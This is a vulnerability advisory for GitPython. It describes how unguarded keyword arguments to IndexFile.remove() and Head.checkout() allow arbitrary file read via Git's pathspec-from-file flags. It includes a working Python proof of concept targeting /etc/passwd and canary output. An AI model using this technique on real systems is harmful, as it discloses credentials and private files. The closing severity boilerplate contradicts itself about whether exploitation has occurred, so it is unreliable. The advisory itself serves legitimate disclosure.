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PYSEC-2026-3841
Summary
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":
| Call site | git command | that advisory's assessment |
|---|---|---|
| IndexFile.remove() | rm | --pathspec-from-file only reads a pathspec; no write or disclosure primitive found |
| IndexFile.move() | mv | same |
| HEAD.reset() | reset | same |
| HEAD.checkout() | checkout | same |
That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043
git/refs/head.py:237-268:
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268
Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.
Proof of concept
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contents
Observed on published 3.1.57, against a canary file holding three marked lines:
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3
The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
| Call site | disclosed? |
|---|---|
| IndexFile.remove() → git rm | yes, full file |
| Head.checkout() → git checkout | yes, full file |
| HEAD.reset() → git reset | no - git reset does not error on unmatched pathspecs |
| IndexFile.move() → git mv | no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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